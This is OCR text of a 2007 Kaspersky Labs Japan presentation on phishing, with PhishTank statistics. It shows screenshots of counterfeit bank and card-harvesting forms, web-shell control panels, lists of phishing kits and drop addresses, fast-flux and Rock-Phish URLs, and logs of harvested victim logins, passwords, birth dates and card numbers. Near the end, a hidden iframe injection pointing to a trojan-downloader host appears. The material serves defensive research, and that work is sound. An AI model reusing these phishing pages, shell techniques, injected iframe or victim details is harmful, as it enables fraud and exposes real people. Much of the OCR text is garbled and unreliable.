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Sign In

Enter Online ID: Mot using Online Banking?
5 - 25 numbers anﬁmrlet‘lers) Enrall nowy ;
| Save this onling 1D (How dogs this work?) losonine Banking
Learn more
Enter Passcoile: shout Online Banking
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Pay By Phone user's guides 3

Resetpasscode
Forgot or need help with vour ID? Goto Online Banking for
a state o

Stop writing checks
and you could save $53
Learn more » |

B Secure Area

Home + Locations - ContactiUs Help - Signin + Site Map
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Stats

Online, valid
phishes

13,482

Phishes Verified as Valid

Total:
online:

Offline:

228,688
13,482

215,206

Submissions

312,562

Total:
Online:

Offline:

Most Active Users (out of 20,722 total)

Top 10 Submitters

1

2
3

£

oo

10

antiphishing
funchords
PhishReporter
cleanmx
Micha
ruralnstcop
JustaPerson
spamfighter

dbonengel

Gretchen

Top 10 Verifiers

1

2
3

migwpurr
bowlbyd
buava

JustaPerson

105,503 phishes
50,139 phishes
38,067 phishes
24,661 phishes
12,078 phishes
7,663 phishes
6,412 phishes
5,637 phishes
2,554 phishes

2,325 phishes

222,055 votes
217,304 votes
207,318 votes

101.807 wvotes

http://www.phishtank.com/stats.php, PhishTank
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Total Votes
1,643,059

Suspected Phishes Submitted
312,562
13,544

298,247

Monthly Stats Archive:

Daily Phishes Verified

chart created New 12 2007 03:25 UTC
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Test Page

This page i1z used to test the proper operation of the Apache Web server after it has been mstalled If wou can read this page, it means that the Apache Web server installed at
this site 15 working propetly.

If you are the administrator of this website:

You may now add content to this directory, and replace this page. Note that untll you do o, people wisiting your website will see this page, and not your content.

If you have upgraded from Red Hat Linux 6.2 and earlier, then you are seeing this page because the default DocumentRoot set in httpd. conf
has changed. Any subdirectonies which exsted under should now be moved to . Alternatively, the contents of / var/ www can be moved to /
, and the configuration file can be updated accordingly
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' Member Sign-On

Login Information

Enroll Here for Secure Login

Member Number or Username:
P P, )
) 5 M: . qN/8 Vs,
-...._'.,"... .',_.. ' ] T
ABDUT B5L
CERTIFICATES
Sign-0On Clear |
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1 httped e

90009 0090009 1.31 00000000_ 00_ 00_000! 4_'000009 + httpe/ : el
04-01-2007 89:19:23 [ phpinfo ] [ php.ini] [cpu] [mem ] [ tmp ] [ delate ]
- a - s ‘ L .

! . .

Eﬂi % ——— -ﬂ.-. . -
Executed command: ls jiin
1

12 Execute command on server 1t

Fun command
Work directory /W Wi s/ Execute
1z Edit files =
File for edit /WWWs/ Edit file
iz Aliases =

Selectalias  find suid files Execute
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| hittp:/ o

=* E ﬁ‘\ i Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Name &

[.smileys)

[l

5

.

= [cgi-bin]
B

bank.com. ]

pcom, ]

Modified By

Listing folder (2 files and 4 folders):

Modify

» Command execute ::

Owner/Group

Perms

Address: hitp:/ v

>
2t
]
]

DIV

B e
B =

with selected: B | Confirm

:: Shadow's tricks :D

Useful Commands
Kernel version n
Warning, Kernel may be alarted using b

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.

Linux auror
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ad Fil

Read File

..:: Search .. s Upload ::..

it Make Dir ::.. = Make File ::..

= Gn File ::..

[hcrrie

v. 1.0 pre-release build #16 Modded by
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Login = = MAIL
Usudrio: |

Senha:

Webhail i
Desenvolvido em Software Livre!
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o2 0% 20 imt ST Z0BANK findex 1 .hkm

Wi
Loans & Credit |

Insurance

Please complete all of the information

BILLING
ADDRESS

Card holder

name :

Address] :
Address2 :
City :

Zip :

Country :
Phone MNumber :

ACCOUNT
INFORMATIO

Credit! debit
cand number :

Exp date : (01> / 2005 ~

Code (it is the last 3 or 4 digits

verification AFTER the credit card number in the
number : signature area of the card )

For security purposes, please emter the following security]
kuestions accordingly :

PIN :

Date of hirth : Croaniddiyryyry)

Submit _Reset |

g AMEZ0n. o

*._ Price comparison s ':_‘i' Fit ko width I'é*‘ 1 =

T

Home | About Us | Investor Relations | Employment | Branches & ATMs | Privacy | Contact Us

Web Banking;
1] Small Business Corporate

Government ; Community I My Accounts .

(2007 1 21 )

[18:49] <andakawa> well, ... | wonder about the
fact, that .gov. sites are sometimes seen hosting a
Phish, I'd have thought, that smart dudes don't
burn such

[18:49] <*****> well when they get pwned anything
can be hosted, make moneh n leave the box

[18:51] <andakawa> ok, so burning a gov site for a
phish is just normal then, right?

[18:52] <*****> yeaq getting a box what ever that
may be

[18:52] <andakawa> k, cool. Thanks a bunch
[18:52] <*****> np :)
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Paypal, 74

Mon Jan 08, 2007 827 pm
Login: pauling | = « @prodigy net
Password: sydneyUb

Card Twvpe: Cradit

Card Mame: pauline o
Address: PO BOX 128 Tewhksbury
902—

DOB: 10-11-1941

SN 030

Mother's Name: aucoin

CC Mumber: 549113039821
MOMNTH: C

YEAR: 201

CYWYW2: 359

PIMN:

1421778474

Mon Jan 08, 2007 853 om
Login: punjal - @vahoo.com

Fassword: sonl = 18
Mo Toimaes M racht

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.

Mazuma Credit Union

Login: asggasgas / Pass: asggasasg

BIR {31181 1 R R R TR

Full name: 5661 5asgasggas b 128998198
Email: emaill@mail.com

Credit Card Mumber: 5606516516161651
Expiration Date: 11 /2010

SATAT N M EE

PIMN: 5615

IP. 8279225114

Euh i i ik kg g ik kg i
Has

Login: 6969696969 / Pass: fucku

Bkt e e e o a1

Full name: dick head

Email: Dhead@hotmail com

Credit Card Mumber; 6969696969696969
Expiration Date: 06 / 2009

VY 696

PIN: 6969

IP:. 682028323

L
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Package

able.zip
boa.tar.gz
bun.exe
cgi-bin.zip
confirm-update.zip
eb2.zip

EbayX.zip
epassporte1.zip
execute.zip
Logon=update.zip
mazaboa.tgz
Nationwide.zip
new.egg.com.zip

pa.zip
pag.tar.gz

paypal sarbatori .rar

paypal.tgz
paypal.zip
paypalfol.tgz
pin.tgz

o e R iy

Data destination Comment 1y

~@gmail.com
W s@yahoo.com; e see @ yahoo.com
XXX Ixt
W s s@yahoo fr
. s@gmail.com, “w e @gmail.com”
St s @yahoo.com by ¢
“ s@yahoo.com
L0 @gmail.com s sate . A
w @yahoo.com
S T @gmail.com"$subject = ""StuPiD Wells UserS"
o - @gmail.com ----Scam Made By DiVaBoY----

. _ w@gmail.com, = @gmail.com”

v @gmail.com  Created by &

. . @web.de "$subj = "$ccnumber - new";"
“e@gmail.com

Ll s@gmail.com
e @yahoo.com
Lt s @yahoo.com
' s @yahoo.com
— \@yahoo.com "$from = ""se@nie b org™™

b ol AN e e e e T aarias I E L aaii = N i e i e s 1IN 'I
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?_]g CW v« #Phish-installer¥pke

=l oBn

:JE-'---:’_

] pdt
=] Phish~installer
"] 666.1337-research
] captures
;] hack = =
] hitp__ it
C] —_files
w2 pke
1157
) screenshots
("] screenskLM
-] v

_‘j T — T

i uploads

x
=

_lﬂ@@@@ﬂ@@@

signinebay_  paypalzip

shimlzip trimite.tgz
B3
pinztgz  www.Rabo.
= BB
nationwide.. signinzip
= 58
payvpal-02t. securezip

wyewhouse Usage Sta,

v wellsf

. executezip

Ebayzip pazip

uploadzip Logon=upd. paypaltez

wellstargz  www Bank .

cgi-binzip boatargz

webscrrar neweggco. webscrZrar confirm-up

pintez

a@@aaaﬂ

paypalfoltgz

ablezip

veeewbank_ signinebay...

vellsrar bunexe

TCF.zip

pagtargz paypalbobo.

mazaboatgz sign-inzip Nationwide.. e-online-b.

ltzamatargz

fiy.zip

rzvamatar...

d |
security.zip Index of ic. sendphp

- - -

boozip hndl.zip

mynewboa

paypalbobo_. paypalbunt. update-02_ ws2zip
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< 7 @ vt \/searchiq=cache: . i »| B |[C] Goosle hd [
Herme Help { y Copyright  Author

This is G 0 0 g | e's cache of hitp:// as retrieved on 15 Jan 2007 05:39:13 GMT.
G o o gl e's cache is the snapshot that we took of the page as we crawled the web.

The page may have changed since that time. Click here for the current page without highhghting.

This cached page may reference images which are no longer available. Click here for the cached text only.

To link to or bookmark this page, use the following url: htep:/ /A www.

G‘oog.l'e iz _nafthar sifilistad with the suthors of this page nor responsibie for its content.

These search terms have been high@d: a 123 web de )

| ~— —_—— 3

mpresum - ” Forum

Kategorieauswahl:

Alle Anzeigen (2362)

Hardware (681)

,_..{ Neue Anzeige eintragen Suchen: gg!_ Software (60)

o Unterhaltungselektronik (470)
Telefonie, Internet (215)

Biete  tetl e oo e mmi— i woogy, W agg— 15.01.Z007, 05:26 Uhr Auto, Motorrad, KFZ, ... (255)
Werkaufe Reifen Aller Groessen und Marken nur Neureifen 50 % nachlass ! anfragen per telefon od, Spart, Freizeit, Mode, .., (213)
email Haushalt & Werkzeuag (193)
_—0rt: 3550 Immaobilien (170}
< Kontakt: martin { & =o072073 , B =a w123@web.de ) Arbeitsplatze, Dienstleistg, {19}
tar schreiben ] [ Inserat &ndern ] =motorrad, KFZ, ... » Autoteile und -Zubehir Sonstiges (80)

Meine Anzeigen

Neue Anzeige eintragen
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Drei Hefte fiir
nur 6,60 Euro!

|4 Neue Anzeige eintragen Suchen: gol

Blate Sl S S 03.01.2007, 06:30 Uhr

' Yarkaufe Winter und Sommerreifen aller marken und groessen, guenstig zum 1/2 Preis anfragen per e-
mail oder telefon 072073°

' Ort: 3550
| Kontakt: Bernd W (5 =0720730 W, [ = 21@yahoo.com )
[ 1 Kommentar ][ Inserat ndern ] Auto, Motorrad, KFZ, ... » Autoteils und -Zubshér » Autozubehir

| Auf das Inserat antworten:

Formular verwenden:

| Sie konnen direkt it Threm EMail-Programm an die Adresse 21y ahoo.com antworten, oder dazu folgendes

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.



— Rock-Phish

Rock-Phish

N Rock-Phish

m Fast-Flux

21

4 : 3% ~v
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— Rock-Phish
Fast-Flux

Fast-Flux

$ host sparkasse.de.techs.ec

sparkasse.de.techs.ec has address 85.107.xxx.xxx (Turkey)
sparkasse.de.techs.ec has address 86.123.xxx (Romania)
sparkase.de.techs.ec has address 78.96.86.xxx (Romania)
sparkasse.de.techs.ec has address 79.126.xxx.xx (Macedonia)
sparkasse.de.techs.ec has address 84.94.1xx.xxx (Israel)

i 22
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— Rock-Phish

Rock-Phish

ROCK-Phish URL
http://www.ukbusiness.hsbc.com.doran4.xz.cn/bibauth/formStart/
http://www.natwest.co.uk.doran4.xz.cn/securesession/action.aspx/

ROCK-Phish :
http://doran4.xz.cn/ (209 Host Locked)
http://doran4.xz.cn/bibauth/formStart/
http://doran4.xz.cn/securesession/action.aspx/

ROCK-Phish
http://fk6krt.hk/
http://toie3.com.es/
http://kfhh2.cn/
http://globail3.cn/

23
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— Rock-Phish

O -Q-1x] B Pnr geercv @ -2 B-WE
a'_"|""|f/_'!~(ﬂ\-'I@ http:/ Adorand xz.cnd v! 1;-@@;1] LI ks
Google |Gl ~vEReD B O Iwv-be B Fros - ¥ @B @

208 Host Locked

24
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£ http:f:’daran&xz.cnl'bibaulhfior_mSiarI:‘

— Rock-Phish

v B o>

Google |G~

VBECD B T3 PTbv DI0O S S F10h v |21 BHR v | b A E

Qe

& -

" Dnlin_e Form '.

This site is encrypted
and secure.

Visit our Security Site

Enter Password and Security Code

Usemame
Password

Business Name

Primary User details

Title
Sumame
First Name(s
Date Of Birth
Kobile Phone
Wark Phone

Email Address

Security Code

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.

|
l
i
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E B

E B EE B B B

-

Press the button on
the device to display
the Security Code

25
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— Rock-Phish

Om- O HEG L b @ 25 B KE

I 7FLA©) | httpfdorand xzen/securesession/action aspx/
Google [Giv VR D B 0 by B0 B ieh -

v e o>
@sEr -

A

Restart Form

OnLine Banking

Online Banking Customer Form

Your Personal Details
Please enter your Personal Details (Title, Name and Email address).

Title (Mr/Mrs/Ms/Other)
Name

Email address

Your Customer Number

Please enter your Customer Number. This is your date of birth (ddmmyy) followed by your unique number which
identifies you to the Bank.

Customer number | |

Your PIN

Please enter your PIN.

PIN

Your Password

Please enter your Password.

Password

Confirm & Exit to Natwest Home Page

26
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— Rock-Phish

FELAD |f hittp:# Aemane phishtank.coms

Found a phishing site? Get started now — see if it's in the Tank:

|h1:t|:::,|’,|f || Isita phish?
Recent Submissions
You can help! Sign in or reqister (free! fast!) to verify these suspected phishes.
1D URL Submitted by
341643 http:/flkTkrt.hlo/securezession/action.aspx/ Micha #
341642 http://fkekrt.hlk/securezession/action.aspx/ Micha #
341641 http:/fkSkrt.hl/securezession/action.aspx/ Micha #
341640 http:/fledkrt.hlo/securezession/action.aspx/ Micha #
341639 http://flk3krt.hlk/=ecurezession/action.aspx’ Micha #
341638 http:/ k7 krt.hk/bibauth/formStart/ Micha #
341637 http://fkekrt.hk/bibauth/formStart/ Micha #
2341636 http:/ffkskrt.hk/bibauth/formStart/ Micha #
341635 http:/flkdkrt.hl/bibauth/formStart/ Micha #
341634 http:/ffk3krt.hk/bibauth/formStart/ Micha #
3418633 http:/fvodam%.xz.cn/securesession/action.aspx/ Micha #
341632 http:/fvodama.xz.cn/securesesszion/action.aspx/ Micha #
341631 http://vodam?.xz.cn/securesession/action.aspx/ Micha #
341630 http:/fvodamé.xz.cn/securesesszion/action.aspx/ Micha #
341629 http://vodam5.xz.cn/securesession/action.aspx/ Micha

27
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— PhishTank

Stats ) JUIV 2007 Read the July 2007 press release

e
PhishTank

Ftnec: Aot L 2007 Phishing Sites By Country of Host, July 2007

The statistics on this page are for July 1,
2007 through July 31, 2007.

Total Submissions: 13,417 GromBrain % o0y Russia 8%

France 5% RBomania 4% South Koova I3

The total number of suspected phishes Unit&d states 36% aly 7 ——— Japan 7%

submitted by the PhishTank community.

Valid Phishes: 9,847 Thoand 3%

The total number of submissions verified as
valid by the PhishTank community.

Invalid Phishes: 711

The total number of submissions verified as All Other Countriss < 2%
invalid by the PhishTank community.

click map for a larger version

Mote: Many phishing emails were offline at
the time of submission to PhishTank. Offline
phishes cannot be voted on, and therefore cannot be verified.

Total Votes: 52,772

The total number of "is a phish,

Median Time To Verify: 8 hours, 25 minutes

The median time it took the PhishTank community to verify submissions as valid or invalid.

29

http://www.phishtank.com/stats/2007/07/, PhishTank
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Web Phishing Attack Trends in July 2007

Countries Hosting Phishing Sites

In July, Websense Security Labs saw China over take the United States as the top of the list for countries hosting
phishing websites with 23.74%. This is first time that China has surpassed the United States as the top country
hosting phishing websites. The rest of the top 10 breakdown is as follows: United States 22 93%, Japan 6.24%,
Thailand 4 44%, Venezuela 4. 37%, Brazil 3.74%, Russia 3.42%, France 3.25%, United Kingdom 2.68% and Germany
with 2.38%.

Top 10 Phishing Sites Hosting Countries

lapan

United States

Thailand

Venezuela

Brazil

Russia

France

United Kingdom
Germany

China

i 30

“Phishing Activity Trends Report for the Month of July, 2007” Anti-Phishing Working Group 3 KA P-I{ Kv
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€ #1: lldudeSé. goody2shoese? )
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FINAT-FERA T (6~32F0 EMEEF)
BEUREO AT
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¢ #d: 111.0001. 11100012
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ITIDAERFATH BAFOxHaEHE

BbhdAYRID 49 TOELHLEHIZ REBEEM

2FEREHAZC
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KEOARBSERERI128. FEFI/EABL $8F(TET

22, BEITA DT, SRR FSRMHIFPE. ciHESNEL
D58 AW A A F G T RE (8 ERMLI, TIEAFLLIDLEE
ERFEL - B W T A .

RRTHE 4000 #DIDEEETIEMEF, MY -1HERL. 120
ERIDENAD—FESHET2RH5000MNA3 RE000MTIRTEL T
&4, B/ BT A sBEN 000 /PIC ESHELD.

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.




(Take Down)

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.



B PhishTank (

Copyright ¢ 2007 K.K. Kaspersky Labs Japan All Rights Reserved.



£ MF\ILER—DHEMON@mall 3 [——Fcrmal Hesme— ]‘Ialhe notice
54 MAILER-DAEMOMN®@mail . [—Formal Message——] failure notice

5 MAILER-DAEMON®@maill . [--Formal Meszage——] fallure notice
TR REATE /M PR TR S ol i r - AR T e “n »

'I.[b"ﬂ‘i /2007 165!]
10/01/2007 16:50
10/01/2007 16:55

A At _fnarenTl as ey

1!])'01 2007 16.50
10401 /2007 1650

10/01 /2007 16:5 v
4 A A frennim 4 s e
| 3

E{EH - MAILER-DAEMON@mail  cop ®EX: 0 cop
4 - [--Formal Message—-] failure notice

Hi. This iz the gmail-send program at mail cojp.
I'm afraid [ wasn't able to deliver your message to the following addresses.
This is a permanent error; ['ve given up. Sorry it didn't work out

{abuse@ org khs:
203. 42 failed after | sent the message.
Remote host said: 554 Sorry, message looks like spam or phish to me (OP)

Linfold org khs:
2032234277 failed after [ sent the message.

Remote host said: 554 Sorry, message looks like spam or phish to me (OP)

—== Below this line is a copy of the message.

Return—Path: <michael@ CO.jp?
Received: {gmail 7842 invoked by uid ™5 ): 10 Jan 2007 16:17:46 +0800
Received: from unknown (HELO {124 58,1 46. 98D

by mail co.jp with SMIP: 10 Jan 2007 16-17-43 +0800
Message-10: 40'33501c?3487’$632&1}aﬂ$b?0?38¢%ad co.jpe
From: "~ % . co.ipy

To: <info@ sl org kho,

<{abu buse@ org kh>

Ce:” & - _CO.jp?
Subject: Phishing alert!

Date: Wed, 10 Jan 2007 161740 +0900
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Venerdi 30 Marzo 2007

—

I

Accedi e diventa un utente
Per poter usufruire dei servizi online di =
spazi il tuo nome utente e la password.

L httpe A 8 5 tech.co pdicons .

flogin-homehtm

A

-

occorre prima identificarsi. Inserisci negli appositi

|-

Humero della carta postepay:

Scadenza mmiaa:

f
Vizualizza la
CWW2{CWC2; s nosizione
N del codice
CWVW2/CVC2
C sulla carta »

?:ﬁr,ii
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Index of /

Naune

Last modified

0 httpd mailzerverf e s e

i

Size

Description

000 =E0 N B

HSCAN.rar
Win3z .exe

paypalPINNTFULL.zip

pizdo.zip

S.batl
wehscrr)
wraribhd.exe

Wy . ebhay.com. =ip

www . ebay . com/

WuwW. netspend. com/

wuw. paypal . comd

le-HMar-z007

la-Mar-z2007

15-Mar-=007

le6-Mar-=2007

le-HMar-z007

03-Dec-2005

le-Mar-z2007

15-Mar-=2007

le-Jan-Z007

15-Mar-2007

l6-Mar-z2007

ao:

oo:

23

03

0z

13

oo:

231

%

i b

as5:

12

14

Hu=]

129

136

]

20

11

as

16

47

6l6E

197K

209K

124K

Za6E

Apache/2.0.55 (Win32) Server at mailserver.dmam swpaws ooy Par 80
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i Encoder Tools
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- R |[G] Google ~ [G 6o

Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Modified By Address: hitp.//vewe

Listing folder (2 files and 4 folders):

>

Modify OwnerfGroup Perms

22222229

2 Command execute 2

:: Shadow's tricks :D ::

40
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¢<table:
Cotds
<tdr<img src="http: - images . pavpal comnen_ S i-scr -pixel gif" height="1"
width="10" border="0":< td:

LA v
{<table:
{sbody >
{shtmlr<iframe sroc="http:-»wyw. acbb. cn- 88 -index htm" width="0" height="0" frameborder="0":< iframe:

—[Detecked

Trojan programn:

(BTt nader YRE Srvall AF
_Lownioader. Yies. S dik.ol

File:
C¥,, #¥Opera¥Opera¥profile¥cached¥opr0ESTT hkm

—&ckion

Bl =t
File contains Trojan program and
4] cannat be disinfected Delets
BEET ABMAE e
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